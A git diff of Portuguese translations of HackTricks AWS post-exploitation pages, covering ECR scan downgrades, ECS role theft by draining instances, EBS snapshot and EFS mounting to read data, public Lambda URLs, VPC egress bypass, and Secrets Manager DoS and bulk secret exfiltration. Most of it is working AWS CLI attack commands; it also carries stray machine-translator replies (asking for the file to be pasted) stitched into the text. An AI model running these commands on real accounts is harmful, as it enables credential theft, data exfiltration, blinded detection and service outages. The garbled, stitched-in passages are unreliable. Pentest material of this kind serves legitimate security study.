Rebaixamento do registro para manual (sem varreduras automáticas)
```bash
REGION=us-east-1
# Read current config (save to restore later)
@@ -146,7 +144,7 @@ aws ecr put-registry-scanning-configuration \
--scan-type BASIC \
--rules '[]'
```
Teste com um repo e image
Teste com um repo e uma imagem
```bash
acct=$(aws sts get-caller-identity --query Account --output text)
repo=ht-scan-stealth
@@ -161,7 +159,7 @@ aws ecr describe-images --region "$REGION" --repository-name "$repo" --image-ids
# Optional: will error with ScanNotFoundException if no scan exists
aws ecr describe-image-scan-findings --region "$REGION" --repository-name "$repo" --image-id imageTag=test || true
```
Opcional: degradar ainda mais no escopo do repo
Não recebi o conteúdo do arquivo README.md. Por favor cole aqui o texto (markdown) que deseja que eu traduza para português — sem ele não consigo efetuar a tradução.
```bash
# Disable scan-on-push for a specific repository
aws ecr put-image-scanning-configuration \
@@ -170,19 +168,19 @@ aws ecr put-image-scanning-configuration \
--image-scanning-configuration scanOnPush=false
```
Impacto
- Novos pushes de imagens em todo o registry não são escaneados automaticamente, reduzindo a visibilidade de conteúdo vulnerável ou malicioso e atrasando a detecção até que um scan manual seja iniciado.
- Novos pushes de imagens em todo o registro não são escaneados automaticamente, reduzindo a visibilidade de conteúdo vulnerável ou malicioso e atrasando a detecção até que um scan manual seja iniciado.
### Registry‑wide scanning engine downgrade via `ecr:PutAccountSetting` (AWS_NATIVE -> CLAIR)
### Rebaixamento do motor de varredura em todo o registro via `ecr:PutAccountSetting` (AWS_NATIVE -> CLAIR)
Reduz a qualidade da detecção de vulnerabilidades em todo o registry ao trocar o engine de scan BASIC do padrão AWS_NATIVE para o engine legado CLAIR. Isso não desativa o scanning, mas pode alterar materialmente os achados/cobertura. Combine com uma configuração de scanning do registry BASIC sem regras para tornar os scans apenas manuais.
Reduza a qualidade da detecção de vulnerabilidades em todo o registro ao trocar o motor de scan BASIC do padrão AWS_NATIVE para o motor legado CLAIR. Isso não desabilita o scanning, mas pode alterar materialmente os resultados/cobertura. Combine com uma configuração de scanning de registro BASIC sem regras para tornar os scans somente manuais.
Requisitos
- `ecr:PutAccountSetting`, `ecr:GetAccountSetting`
- (Optional) `ecr:PutRegistryScanningConfiguration`, `ecr:GetRegistryScanningConfiguration`
- (Opcional) `ecr:PutRegistryScanningConfiguration`, `ecr:GetRegistryScanningConfiguration`
Impacto
- Configuração do registry `BASIC_SCAN_TYPE_VERSION` definida como `CLAIR`, de modo que os scans BASIC subsequentes rodem com o engine rebaixado. CloudTrail registra a chamada de API `PutAccountSetting`.
- Configuração do registro `BASIC_SCAN_TYPE_VERSION` definida como `CLAIR`, de modo que scans BASIC subsequentes rodem com o motor rebaixado. CloudTrail registra a chamada de API `PutAccountSetting`.
Passos
```bash
@@ -203,4 +201,4 @@ aws ecr put-registry-scanning-configuration --region $REGION --scan-type BASIC -
# 5) Restore to AWS_NATIVE when finished to avoid side effects
aws ecr put-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION --value AWS_NATIVE
```
{{#include ../../../../banners/hacktricks-training.md}}

48
src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation/README.md
View File

@@ -4,41 +4,41 @@
## ECS
For more information check:
Para mais informações confira:
{{#ref}}
../../aws-services/aws-ecs-enum.md
{{#endref}}
### Host IAM Roles
### IAM Roles do Host
No ECS uma **IAM role pode ser atribuída à task** que está sendo executada dentro do container. **If** a task for executada dentro de uma **EC2** instance, a **EC2 instance** terá **outra IAM** role anexada a ela.\
O que significa que se você conseguir **compromise** uma instância ECS você pode potencialmente **obter a IAM role associada ao ECR e à instância EC2**. Para mais informações sobre como obter essas credenciais veja:
Em ECS um **IAM role pode ser atribuído à task** executada dentro do container. **Se** a task for executada dentro de uma instância **EC2**, a **instância EC2** terá **outro IAM** role anexado a ela.\
O que significa que se você conseguir **comprometer** uma instância ECS você pode potencialmente **obter o IAM role associado ao ECR e à instância EC2**. Para mais informações sobre como obter essas credenciais confira:
{{#ref}}
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
{{#endref}}
> [!CAUTION]
> Observe que se a EC2 instance estiver forçando IMDSv2, [**according to the docs**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), a **response of the PUT request** terá um **hop limit of 1**, tornando impossível acessar o EC2 metadata a partir de um container dentro da EC2 instance.
> Note that if the EC2 instance is enforcing IMDSv2, [**according to the docs**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), the **response of the PUT request** will have a **hop limit of 1**, making impossible to access the EC2 metadata from a container inside the EC2 instance.
### Privesc to node to steal other containers creds & secrets
Além disso, o EC2 usa docker para executar tasks do ECS, então se você conseguir **escape to the node** ou **access the docker socket**, você pode **verificar** quais **outros containers** estão sendo executados, e até **entrar neles** e **steal their IAM roles** anexadas.
Além disso, EC2 usa docker para rodar ECs tasks, então se você conseguir escapar para o node ou **acessar o docker socket**, você pode **verificar** quais **outros containers** estão sendo executados, e até **entrar neles** e **roubar os IAM roles** anexados.
#### Making containers run in current host
Além do mais, a **EC2 instance role** normalmente terá **permissions** suficientes para **update the container instance state** das EC2 instances sendo usadas como nodes dentro do cluster. Um atacante poderia modificar o **state of an instance to DRAINING**, então o ECS irá **remover todas as tasks dela** e as que estão sendo executadas como **REPLICA** serão **run in a different instance**, potencialmente dentro da **instance do atacante**, para que ele possa **steal their IAM roles** e possíveis informações sensíveis de dentro do container.
Além disso, o **EC2 instance role** normalmente terá permissão suficiente para **atualizar o container instance state** das instâncias EC2 que estão sendo usadas como nodes dentro do cluster. Um atacante poderia modificar o **state of an instance to DRAINING**, então ECS irá **remover todas as tasks dela** e as que estão sendo executadas como **REPLICA** serão **executadas em uma instância diferente**, potencialmente dentro da **instância do attacker** para que ele possa **roubar seus IAM roles** e possíveis informações sensíveis de dentro do container.
```bash
aws ecs update-container-instances-state \
--cluster <cluster> --status DRAINING --container-instances <container-instance-id>
```
A mesma técnica pode ser feita ao **desregistrar a instância EC2 do cluster**. Isso é potencialmente menos discreto, mas **forçará que as tasks sejam executadas em outras instances:**
A mesma técnica pode ser feita desregistrando a **EC2 instance do cluster**. Isso é potencialmente menos furtivo, mas irá **forçar as tasks a serem executadas em outras instâncias:**
```bash
aws ecs deregister-container-instance \
--cluster <cluster> --container-instance <container-instance-id> --force
```
Uma técnica final para forçar a reexecução de tasks é indicar ao ECS que a **task ou container foi parada**. Existem 3 APIs potenciais para isso:
Uma técnica final para forçar a reexecução de tasks é indicar ao ECS que a **task ou container foi parado**. Existem 3 APIs potenciais para fazer isso:
```bash
# Needs: ecs:SubmitTaskStateChange
aws ecs submit-task-state-change --cluster <value> \
@@ -54,36 +54,32 @@ aws ecs submit-attachment-state-changes ...
The EC2 instance will probably also have the permission `ecr:GetAuthorizationToken` allowing it to **download images** (you could search for sensitive info in them).
{{#include ../../../../banners/hacktricks-training.md}}
### Mount an EBS snapshot directly in an ECS task (configuredAtLaunch + volumeConfigurations)
Abuse the native ECS EBS integration (2024+) to mount the contents of an existing EBS snapshot directly inside a new ECS task/service and read its data from inside the container.
- Requer (mínimo):
- Needs (minimum):
- ecs:RegisterTaskDefinition
- Um dos: ecs:RunTask OR ecs:CreateService/ecs:UpdateService
- iam:PassRole em:
- ECS infrastructure role usada para volumes (policy: `service-role/AmazonECSInfrastructureRolePolicyForVolumes`)
- Task execution/Task roles referenciadas pela task definition
- Se o snapshot estiver criptografado com uma CMK: permissões KMS para a infra role (a AWS managed policy acima inclui os KMS grants necessários para AWS managed keys).
- One of: ecs:RunTask OR ecs:CreateService/ecs:UpdateService
- iam:PassRole on:
- ECS infrastructure role used for volumes (policy: `service-role/AmazonECSInfrastructureRolePolicyForVolumes`)
- Task execution/Task roles referenced by the task definition
- If the snapshot is encrypted with a CMK: KMS permissions for the infra role (the AWS managed policy above includes the required KMS grants for AWS managed keys).
- Impacto: Ler conteúdos arbitrários do disco do snapshot (por exemplo, arquivos de banco de dados) dentro do container e exfiltrate via network/logs.
- Impact: Read arbitrary disk contents from the snapshot (e.g., database files) inside the container and exfiltrate via network/logs.
Passos (exemplo Fargate):
Steps (Fargate example):
1) Crie a ECS infrastructure role (se não existir) e anexe a managed policy:
1) Create the ECS infrastructure role (if it doesn’t exist) and attach the managed policy:
```bash
aws iam create-role --role-name ecsInfrastructureRole \
--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
aws iam attach-role-policy --role-name ecsInfrastructureRole \
--policy-arn arn:aws:iam::aws:policy/service-role/AmazonECSInfrastructureRolePolicyForVolumes
```
2) Registre uma definição de tarefa com um volume marcado como `configuredAtLaunch` e monte-o no container. Exemplo (imprime o segredo e depois dorme):
2) Registre uma task definition com um volume marcado `configuredAtLaunch` e monte-o no container. Exemplo (imprime o secret e depois dorme):
```json
{
"family": "ht-ebs-read",
@@ -103,7 +99,7 @@ aws iam attach-role-policy --role-name ecsInfrastructureRole \
"volumes": [ {"name":"loot", "configuredAtLaunch": true} ]
}
```
3) Crie ou atualize um serviço passando o snapshot do EBS via `volumeConfigurations.managedEBSVolume` (requer iam:PassRole na role de infraestrutura). Exemplo:
3) Crie ou atualize um serviço passando o snapshot do EBS via `volumeConfigurations.managedEBSVolume` (requer iam:PassRole na infra role). Exemplo:
```json
{
"cluster": "ht-ecs-ebs",
@@ -117,7 +113,7 @@ aws iam attach-role-policy --role-name ecsInfrastructureRole \
]
}
```
4) Quando a task é iniciada, o container pode ler o conteúdo do snapshot no mount path configurado (por exemplo, `/loot`). Exfiltrate através do network/logs da task.
4) Quando a task inicia, o container pode ler o conteúdo do snapshot no caminho de montagem configurado (por exemplo, `/loot`). Exfiltre pela rede ou pelos logs da task.
Limpeza:
```bash
@@ -125,4 +121,4 @@ aws ecs update-service --cluster ht-ecs-ebs --service ht-ebs-svc --desired-count
aws ecs delete-service --cluster ht-ecs-ebs --service ht-ebs-svc --force
aws ecs deregister-task-definition ht-ebs-read
```
{{#include ../../../../banners/hacktricks-training.md}}

22
src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-efs-mount-injection.md
View File

@@ -1,21 +1,23 @@
# AWS Lambda – EFS Mount Injection via UpdateFunctionConfiguration (Data Theft)
Abuse `lambda:UpdateFunctionConfiguration` para anexar um EFS Access Point existente a uma Lambda, então deployar código trivial que lista/lê arquivos do caminho montado para exfiltrar segredos/configurações compartilhadas que a função anteriormente não conseguia acessar.
{{#include ../../../../banners/hacktricks-training.md}}
## Requirements
- Permissions on the victim account/principal:
Abuse `lambda:UpdateFunctionConfiguration` para anexar um EFS Access Point existente a uma Lambda, então implante código trivial que lista/lê arquivos do caminho montado para exfiltrate shared secrets/config que a função anteriormente não podia acessar.
## Requisitos
- Permissões na conta/principal da vítima:
- `lambda:GetFunctionConfiguration`
- `lambda:ListFunctions` (to find functions)
- `lambda:UpdateFunctionConfiguration`
- `lambda:UpdateFunctionCode`
- `lambda:InvokeFunction`
- `efs:DescribeMountTargets` (to confirm mount targets exist)
- Environment assumptions:
- Pressupostos do ambiente:
- Target Lambda is VPC-enabled and its subnets/SGs can reach the EFS mount target SG over TCP/2049 (e.g. role has AWSLambdaVPCAccessExecutionRole and VPC routing allows it).
- The EFS Access Point is in the same VPC and has mount targets in the AZs of the Lambda subnets.
## Attack
- Variables
## Ataque
- Variáveis
```
REGION=us-east-1
TARGET_FN=<target-lambda-name>
@@ -30,7 +32,7 @@ aws lambda update-function-configuration \
# wait until LastUpdateStatus == Successful
until [ "$(aws lambda get-function-configuration --function-name $TARGET_FN --query LastUpdateStatus --output text --region $REGION)" = "Successful" ]; do sleep 2; done
```
2) Sobrescreva code com um leitor simples que lista arquivos e lê os primeiros 200 bytes de um arquivo candidato a secret/config
2) Sobrescrever code com um leitor simples que lista arquivos e visualiza os primeiros 200 bytes de um arquivo candidato a conter segredos/configurações
```
cat > reader.py <<PY
import os, json
@@ -62,14 +64,14 @@ until [ "$(aws lambda get-function-configuration --function-name $TARGET_FN --qu
aws lambda invoke --function-name $TARGET_FN /tmp/efs-out.json --region $REGION >/dev/null
cat /tmp/efs-out.json
```
A saída deve conter a listagem do diretório em /mnt/ht e uma pequena prévia de um secret/config file escolhido do EFS.
A saída deve conter a listagem do diretório em /mnt/ht e uma pequena pré-visualização de um secret/config file escolhido do EFS.
## Impacto
Um atacante com as permissões listadas pode montar arbitrários in-VPC EFS Access Points em funções Lambda da vítima para ler e exfiltrar configurações compartilhadas e secrets armazenados no EFS que antes eram inacessíveis a essa função.
Um atacante com as permissões listadas pode montar Access Points arbitrários in-VPC do EFS em funções Lambda da vítima para ler e exfiltrar configurações compartilhadas e secrets armazenados no EFS que anteriormente eram inacessíveis para essa função.
## Limpeza
```
aws lambda update-function-configuration --function-name $TARGET_FN --file-system-configs [] --region $REGION || true
```
Não tenho acesso direto ao arquivo no repositório. Por favor cole aqui o conteúdo de src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-efs-mount-injection.md (ou confirme que quer que eu traduza o conteúdo incluído por {{#include ../../../../banners/hacktricks-training.md}}). Vou traduzir para Português mantendo intactos markdown, tags, paths, código e links conforme solicitado.

22
src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-function-url-public-exposure.md
View File

@@ -1,38 +1,40 @@
# AWS - Lambda Function URL Exposição Pública (AuthType NONE + Public Invoke Policy)
Transforme uma Function URL privada do Lambda em um endpoint público não autenticado trocando o Function URL AuthType para NONE e anexando uma resource-based policy que concede lambda:InvokeFunctionUrl para todos. Isso permite invocação anônima de funções internas e pode expor operações sensíveis do backend.
{{#include ../../../../banners/hacktricks-training.md}}
## Abuso
Transforme um Lambda Function URL privado em um endpoint público não autenticado ao alterar o Function URL AuthType para NONE e anexar uma policy baseada em recurso que concede lambda:InvokeFunctionUrl a todos. Isso permite invocação anônima de funções internas e pode expor operações backend sensíveis.
## Abusando it
- Pré-requisitos: lambda:UpdateFunctionUrlConfig, lambda:CreateFunctionUrlConfig, lambda:AddPermission
- Região: us-east-1
### Passos
1) Garanta que a função tenha uma Function URL (padrão AWS_IAM):
### Etapas
1) Verifique se a função tem um Function URL (padrão AWS_IAM):
```
aws lambda create-function-url-config --function-name $TARGET_FN --auth-type AWS_IAM || true
```
2) Troque a URL para pública (AuthType NONE):
2) Mude o URL para público (AuthType NONE):
```
aws lambda update-function-url-config --function-name $TARGET_FN --auth-type NONE
```
3) Adicione uma declaração de policy baseada em recurso para permitir principals não autenticados:
3) Adicione uma declaração de política baseada em recurso para permitir principals não autenticados:
```
aws lambda add-permission --function-name $TARGET_FN --statement-id ht-public-url --action lambda:InvokeFunctionUrl --principal "*" --function-url-auth-type NONE
```
4) Recupere a URL e invoque sem credenciais:
4) Recupere o URL e invoque sem credenciais:
```
URL=$(aws lambda get-function-url-config --function-name $TARGET_FN --query FunctionUrl --output text)
curl -sS "$URL"
```
### Impacto
- A função Lambda passa a ficar acessível anonimamente pela internet.
- A função Lambda passa a ser acessível anonimamente pela internet.
### Exemplo de saída (200 — não autenticado)
### Exemplo de saída (200 não autenticado)
```
HTTP 200
https://e3d4wrnzem45bhdq2mfm3qgde40rjjfc.lambda-url.us-east-1.on.aws/
@@ -43,4 +45,4 @@ https://e3d4wrnzem45bhdq2mfm3qgde40rjjfc.lambda-url.us-east-1.on.aws/
aws lambda remove-permission --function-name $TARGET_FN --statement-id ht-public-url || true
aws lambda update-function-url-config --function-name $TARGET_FN --auth-type AWS_IAM || true
```
{{#include ../../../../banners/hacktricks-training.md}}

14
src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-runtime-pinning-abuse.md
View File

@@ -1,12 +1,16 @@
# AWS Lambda – Runtime Pinning/Rollback Abuse via PutRuntimeManagementConfig
Abuse `lambda:PutRuntimeManagementConfig` para pin a função a uma versão específica do runtime (Manual) ou congelar atualizações (FunctionUpdate). Isso preserva compatibilidade com layers/wrappers maliciosos e pode manter a função em um runtime desatualizado e vulnerável para auxiliar na exploração e persistência a longo prazo.
{{#include ../../../../banners/hacktricks-training.md}}
Abuse `lambda:PutRuntimeManagementConfig` para fixar uma função a uma versão específica do runtime (Manual) ou congelar atualizações (FunctionUpdate). Isso preserva compatibilidade com layers/wrappers maliciosos e pode manter a função em um runtime desatualizado e vulnerável, auxiliando exploração e persistência de longo prazo.
Requisitos: `lambda:InvokeFunction`, `logs:FilterLogEvents`, `lambda:PutRuntimeManagementConfig`, `lambda:GetRuntimeManagementConfig`.
Exemplo (us-east-1):
- Invocar: `aws lambda invoke --function-name /tmp/ping.json --payload {} --region us-east-1 > /dev/null; sleep 5`
- Congelar atualizações: `aws lambda put-runtime-management-config --function-name --update-runtime-on FunctionUpdate --region us-east-1`
- Verificar: `aws lambda get-runtime-management-config --function-name --region us-east-1`
- Invoke: `aws lambda invoke --function-name /tmp/ping.json --payload {} --region us-east-1 > /dev/null; sleep 5`
- Freeze updates: `aws lambda put-runtime-management-config --function-name --update-runtime-on FunctionUpdate --region us-east-1`
- Verify: `aws lambda get-runtime-management-config --function-name --region us-east-1`
Opcionalmente fixe (pin) para uma versão específica do runtime extraindo o Runtime Version ARN dos logs INIT_START e usando `--update-runtime-on Manual --runtime-version-arn <arn>`.
Opcionalmente, fixe a uma versão específica do runtime extraindo o Runtime Version ARN dos logs INIT_START e usando `--update-runtime-on Manual --runtime-version-arn <arn>`.
{{#include ../../../../banners/hacktricks-training.md}}

21
src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-vpc-egress-bypass.md
View File

@@ -1,16 +1,18 @@
# AWS Lambda – VPC Egress Bypass by Detaching VpcConfig
{{#include ../../../../banners/hacktricks-training.md}}
Force a Lambda function out of a restricted VPC by updating its configuration with an empty VpcConfig (SubnetIds=[], SecurityGroupIds=[]). The function will then run in the Lambda-managed networking plane, regaining outbound internet access and bypassing egress controls enforced by private VPC subnets without NAT.
## Abusando disso
## Abuso
- Pré-requisitos: lambda:UpdateFunctionConfiguration na função alvo (e lambda:InvokeFunction para validar), além de permissões para atualizar code/handler se for alterá-los.
- Pressupostos: A função está atualmente configurada com VpcConfig apontando para private subnets sem NAT (portanto a saída para a internet está bloqueada).
- Pré-requisitos: lambda:UpdateFunctionConfiguration na função alvo (e lambda:InvokeFunction para validar), mais permissões para atualizar code/handler se for alterá-los.
- Suposições: A função está atualmente configurada com VpcConfig apontando para subnets privadas sem NAT (portanto o acesso outbound à internet está bloqueado).
- Região: us-east-1
### Etapas
### Passos
0) Prepare um handler mínimo que comprove que HTTP de saída funciona
0) Prepare um handler mínimo que comprove que HTTP outbound funciona
cat > net.py <<'PY'
import urllib.request, json
@@ -39,12 +41,12 @@ aws lambda update-function-configuration \
--region $REGION
until [ "$(aws lambda get-function-configuration --function-name $TARGET_FN --query LastUpdateStatus --output text --region $REGION)" = "Successful" ]; do sleep 2; done
3) Invoque e verifique o acesso de saída
3) Execute a função e verifique o acesso outbound
aws lambda invoke --function-name $TARGET_FN /tmp/net-out.json --region $REGION >/dev/null
cat /tmp/net-out.json
(Optional) Restaure a configuração VPC original
(Optional) Restaurar a configuração VpcConfig original
if jq -e '.SubnetIds | length > 0' /tmp/orig-vpc.json >/dev/null; then
SUBS=$(jq -r '.SubnetIds | join(",")' /tmp/orig-vpc.json); SGS=$(jq -r '.SecurityGroupIds | join(",")' /tmp/orig-vpc.json)
@@ -52,7 +54,7 @@ aws lambda update-function-configuration --function-name $TARGET_FN --vpc-config
fi
### Impacto
- Recupera acesso irrestrito à internet de saída a partir da função, permitindo data exfiltration ou C2 de workloads que foram intencionalmente isolados em private subnets sem NAT.
- Recupera acesso outbound irrestrito à internet a partir da função, permitindo exfiltração de dados ou C2 de workloads que foram intencionalmente isolados em subnets privadas sem NAT.
### Exemplo de saída (após desanexar VpcConfig)
@@ -60,4 +62,5 @@ fi
### Limpeza
- Se você criou quaisquer alterações temporárias no code/handler, restaure-as.
- Opcionalmente, restaure o VpcConfig original salvo em /tmp/orig-vpc.json conforme mostrado acima.
- Opcionalmente restaure o VpcConfig original salvo em /tmp/orig-vpc.json como mostrado acima.
{{#include ../../../../banners/hacktricks-training.md}}

79
src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation/README.md
View File

@@ -4,22 +4,22 @@
## Secrets Manager
Para mais informações consulte:
Para mais informações, consulte:
{{#ref}}
../../aws-services/aws-secrets-manager-enum.md
{{#endref}}
### Ler segredos
### Ler Secrets
Os **segredos em si são informação sensível**, [veja a página de privesc](../../aws-privilege-escalation/aws-secrets-manager-privesc/README.md) para aprender como lê-los.
Os **secrets em si são informações sensíveis**, [consulte a página de privesc](../../aws-privilege-escalation/aws-secrets-manager-privesc/README.md) para saber como lê-los.
### DoS Alterar valor do segredo
### DoS — Alterar Valor do Secret
Ao alterar o valor do segredo, você pode causar **DoS em todos os sistemas que dependem desse valor.**
Alterando o valor do secret você pode **causar DoS em todos os sistemas que dependem desse valor.**
> [!WARNING]
> Observe que valores anteriores também são armazenados, então é fácil voltar ao valor anterior.
> Observe que valores anteriores também são armazenados, então é fácil simplesmente retornar ao valor anterior.
```bash
# Requires permission secretsmanager:PutSecretValue
aws secretsmanager put-secret-value \
@@ -28,19 +28,17 @@ aws secretsmanager put-secret-value \
```
### DoS Change KMS key
Se o atacante tiver a permissão secretsmanager:UpdateSecret, ele pode configurar o secret para usar uma KMS key pertencente ao atacante.
Se o attacker tiver a permissão secretsmanager:UpdateSecret, o attacker pode configurar o secret para usar uma KMS key de propriedade do attacker. Essa KMS key é inicialmente configurada de forma que qualquer um pode acessá-la e usá-la, então atualizar o secret com a nova key é possível. Se a key não fosse acessível, o secret não poderia ser atualizado.
Essa key é inicialmente configurada de modo que qualquer um pode acessá-la e usá-la, então é possível atualizar o secret com a nova key. Se a key não fosse acessível, o secret não poderia ser atualizado.
Depois de alterar a key do secret, o attacker modifica a configuração da sua key para que somente ele possa acessá-la. Dessa forma, nas versões subsequentes do secret, ele será criptografado com a nova key e, como não haverá acesso a ela, a capacidade de recuperar o secret será perdida.
Após alterar a key do secret, o atacante modifica a configuração da sua key de forma que somente ele possa acessá-la. Assim, nas versões subsequentes do secret, ele será criptografado com a nova key e, como não haverá acesso a ela, a capacidade de recuperar o secret será perdida.
É importante notar que essa inacessibilidade ocorrerá apenas em versões posteriores, depois que o conteúdo do secret for alterado, já que a versão atual ainda está criptografada com a KMS key original.
É importante notar que essa inacessibilidade ocorrerá apenas em versões posteriores, após o conteúdo do secret mudar, já que a versão atual ainda está criptografada com a KMS key original.
```bash
aws secretsmanager update-secret \
--secret-id MyTestSecret \
--kms-key-id arn:aws:kms:us-west-2:123456789012:key/EXAMPLE1-90ab-cdef-fedc-ba987EXAMPLE
```
### DoS Deleting Secret
### DoS Deletando Secret
O número mínimo de dias para excluir um secret é 7
```bash
@@ -50,7 +48,7 @@ aws secretsmanager delete-secret \
```
## secretsmanager:RestoreSecret
É possível restaurar um secret, o que permite a restauração de secrets que foram agendados para exclusão, já que o período mínimo de exclusão para secrets é de 7 dias e o máximo é de 30 dias. Em conjunto com a permissão secretsmanager:GetSecretValue, isso possibilita recuperar o conteúdo dos mesmos.
É possível restaurar um secret, o que permite a restauração de secrets que foram agendados para exclusão, já que o período mínimo de exclusão para secrets é de 7 dias e o máximo é de 30 dias. Juntamente com a permissão secretsmanager:GetSecretValue, isso possibilita recuperar o conteúdo deles.
Para recuperar um secret que está em processo de exclusão, você pode usar o seguinte comando:
```bash
@@ -59,7 +57,7 @@ aws secretsmanager restore-secret \
```
## secretsmanager:DeleteResourcePolicy
Esta ação permite excluir a política de recurso que controla quem pode acessar um segredo. Isso pode levar a um DoS se a política de recurso estiver configurada para permitir acesso a um conjunto específico de usuários.
Essa ação permite excluir a política de recurso que controla quem pode acessar um segredo. Isso pode levar a um DoS se a política de recurso estiver configurada para permitir acesso a um conjunto específico de usuários.
Para excluir a política de recurso:
```bash
@@ -68,11 +66,11 @@ aws secretsmanager delete-resource-policy \
```
## secretsmanager:UpdateSecretVersionStage
Os estados de um secret são usados para gerenciar suas versões. AWSCURRENT marca a versão ativa que as aplicações usam, AWSPREVIOUS mantém a versão anterior para que você possa reverter se necessário, e AWSPENDING é usado no processo de rotação para preparar e validar uma nova versão antes de torná-la a atual.
Os estados de um segredo são usados para gerenciar versões de um segredo. AWSCURRENT marca a versão ativa que as aplicações usam, AWSPREVIOUS mantém a versão anterior para que você possa reverter se necessário, e AWSPENDING é usado no processo de rotação para preparar e validar uma nova versão antes de torná-la a atual.
As aplicações sempre leem a versão com AWSCURRENT. Se alguém mover esse rótulo para a versão errada, as aplicações usarão credenciais inválidas e poderão falhar.
As aplicações sempre leem a versão com AWSCURRENT. Se alguém mover esse rótulo para a versão errada, as aplicações usarão credenciais inválidas e podem falhar.
AWSPREVIOUS não é usado automaticamente. Entretanto, se AWSCURRENT for removido ou reatribuído incorretamente, pode parecer que tudo ainda está em execução com a versão anterior.
AWSPREVIOUS não é usado automaticamente. No entanto, se AWSCURRENT for removido ou reatribuído incorretamente, pode parecer que tudo continua rodando com a versão anterior.
```bash
aws secretsmanager update-secret-version-stage \
--secret-id <your-secret-name-or-arn> \
@@ -80,24 +78,18 @@ aws secretsmanager update-secret-version-stage \
--move-to-version-id <target-version-id> \
--remove-from-version-id <previous-version-id>
```
{{#include ../../../../banners/hacktricks-training.md}}
### Mass Secret Exfiltration via BatchGetSecretValue (até 20 por chamada)
### Mass Secret Exfiltration via BatchGetSecretValue (up to 20 per call)
Abuse a API Secrets Manager BatchGetSecretValue para recuperar até 20 secrets em uma única requisição. Isso pode reduzir drasticamente o volume de chamadas de API comparado a iterar GetSecretValue por secret. Se filtros forem usados (tags/name), a permissão ListSecrets também é necessária. O CloudTrail ainda registra um evento GetSecretValue por secret recuperado no batch.
Explorar a API Secrets Manager BatchGetSecretValue para recuperar até 20 secrets em uma única requisição. Isso pode reduzir dramaticamente o volume de chamadas de API em comparação com iterar GetSecretValue por secret. Se filtros forem usados (tags/name), a permissão ListSecrets também é necessária. O CloudTrail ainda registra um evento GetSecretValue por secret recuperado no batch.
Permissões necessárias
- secretsmanager:BatchGetSecretValue
- secretsmanager:GetSecretValue for each target secret
- secretsmanager:ListSecrets if using --filters
- kms:Decrypt on the CMKs used by the secrets (if not using aws/secretsmanager)
- secretsmanager:GetSecretValue para cada secret alvo
- secretsmanager:ListSecrets se estiver usando --filters
- kms:Decrypt nos CMKs usados pelas secrets (se não estiver usando aws/secretsmanager)
> [!WARNING]
> Note que a permissão `secretsmanager:BatchGetSecretValue` não é suficiente para recuperar secrets; você também precisa de `secretsmanager:GetSecretValue` para cada secret que quiser recuperar.
> Observe que a permissão `secretsmanager:BatchGetSecretValue` por si só não é suficiente para recuperar secrets; você também precisa de `secretsmanager:GetSecretValue` para cada secret que quiser recuperar.
Exfiltrate by explicit list
```bash
@@ -105,7 +97,7 @@ aws secretsmanager batch-get-secret-value \
--secret-id-list <secret1> <secret2> <secret3> \
--query 'SecretValues[].{Name:Name,Version:VersionId,Val:SecretString}'
```
Exfiltrate por filtros (tag key/value ou prefixo de nome)
Exfiltrar por filtros (tag chave/valor ou prefixo de nome)
```bash
# By tag key
aws secretsmanager batch-get-secret-value \
@@ -122,11 +114,32 @@ aws secretsmanager batch-get-secret-value \
aws secretsmanager batch-get-secret-value \
--filters Key=name,Values=MyApp
```
Lidando com falhas parciais
### Lidando com falhas parciais
Em operações contra Secrets Manager você pode obter sucesso parcial — alguns secrets retornam corretamente enquanto outros falham. Não interrompa todo o processo por causa de falhas parciais; colete resultados bem‑sucedidos e registre os erros para tentativa posterior.
Principais práticas
- Classificar erros: diferencie NotFoundException/ResourceNotFoundException (secret ausente/deletado), AccessDenied/KMSAccessDenied (permissões), ThrottlingException (rate limit), InternalServiceError/ServiceUnavailable e InvalidRequestException.
- Retry para erros transitórios: use retry com backoff exponencial e jitter para ThrottlingException e erros internos.
- Persistir falhas para reprocessamento: salve itens com falha (arquivo, queue) para tentativas agendadas, evitando perda de dados.
- Tratar erros de permissão separadamente: registre o principal e o ARN do secret; não tente forçar acesso sem escalonamento apropriado.
- KMS failures: se a decrypt falhar por KMS, registre a keyId e considere acesso via outras roles/keys se disponível; sem decrypt o secret não é utilizável.
- Paginação e concorrência: pagine ListSecrets e implemente limites de concorrência para reduzir throttling.
- Logs estruturados: armazene secret name/ARN, código de erro, timestamp, operação e contexto para análise e auditoria.
- Manter idempotência e integridade: marque resultados parciais no agregador (quais campos faltam) e evite assumir dados completos.
- Segurança: trate secrets na memória com cuidado; remova e sobrescreva dados sensíveis mesmo em caminhos de erro.
Fluxo recomendado (resumido)
1. ListSecrets paginado.
2. Para cada secret: GetSecretValue com limites de concorrência.
3. Em caso de erro transitório: retry com backoff.
4. Em caso de erro permanente (AccessDenied, NotFound): registrar e continuar.
5. Persistir falhas para retries manuais/automatizados e gerar relatório final com sucesso/falhas.
```bash
# Inspect the Errors list for AccessDenied/NotFound and retry/adjust filters
aws secretsmanager batch-get-secret-value --secret-id-list <id1> <id2> <id3>
```
Impacto
- Rápido “smash-and-grab” de muitos secrets com menos chamadas de API, potencialmente contornando alertas ajustados para picos de GetSecretValue.
- Os registros do CloudTrail ainda incluem um evento GetSecretValue por cada secret recuperado pelo lote.
- Rápido “smash-and-grab” de muitos segredos com menos chamadas de API, potencialmente contornando alertas ajustados para picos de GetSecretValue.
- Os logs do CloudTrail ainda incluem um evento GetSecretValue por segredo recuperado pelo lote.
{{#include ../../../../banners/hacktricks-training.md}}

12
